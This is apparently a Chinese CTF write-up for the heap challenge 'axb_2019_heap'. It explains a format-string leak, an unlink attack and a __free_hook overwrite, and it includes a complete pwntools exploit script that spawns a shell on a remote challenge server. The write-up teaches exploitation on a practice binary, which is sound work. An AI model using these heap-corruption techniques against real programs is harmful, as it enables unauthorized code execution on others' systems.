利用思路

axb_2019_heap

主要还是要熟悉unlink的利用,在最后我放上了how2heap的unlink学习及程序调试流程

  • 首先利用格式化字符串泄露 libc 和程序基址。
  • 运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
  • 将system 地址写入 free_hook。
  • 触发写入了 ‘/bin/sh’ 的块的删除,执行 system(‘/bin/sh’)。

exp:

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

pe='./axb_2019_heap'
libc_23='./libc-2.23.so'
libc_27='./libc-2.27.so'
ip,port = 'node3.buuoj.cn',27128
elf=ELF(pe)
libc=ELF(libc_23)

if args['REMOTE']:
p = remote(ip,port)
else:
p = process(pe)

def get_one(): #one_gadget
if(arch == '64'):
if(version == '2.23'):
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]

if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365, 0x4f3c2, 0x10a45c]

return one

def add(idx,size,content):
p.sendlineafter('>>','1')
p.sendlineafter('):',str(idx))
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))

def edit(idx,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('content: \n',content)

def show():
p.sendlineafter('>>','3')


def main():
p.recvuntil('name: ')
p.sendline('%11$p%15$p') #泄露程序的程序中的某一地址(根据偏移索引到程序起始地址)和libc地址
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186 #程序起始地址
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240 # libc基址
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook'] #利用free_hook劫持
bss=base+0x202060
success('base:' + hex(base))
success('bss:' + hex(bss))
success('free_hook:' + hex(free_hook))
add(0,0x98,'a'*0x98)#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3 0x0068732f6e69622f

gdb.attach(p)
#gdb.attach(p)
#↓利用unlink伪造堆块
#fd为bss上的note数组地址-0x18,bk位bss上note数组地址-0x10,并修改下一个chunk的presize和size
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
#gdb.attach(p)
#释放chunk[1],此时通过unlink欺骗chunk[0]中存储地址为数组地址-0x18
delete(1)
#gdb.attach(p)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10)) #在伪堆块中放入free_hook堆块用于劫持
edit(0,p64(system)) #将free地址修改为system,当执行free的时候即执行system
delete(3) # system(/bin/sh\x00)
p.interactive()

if __name__ == '__main__':
main()

unlink机制

https://app.yinxiang.com/fx/8a26735a-770e-457f-8d81-8c7db3e6d71c

how2heap——unsafe_unlink

https://app.yinxiang.com/fx/610b7515-6f92-4d97-8b91-652a83b46acb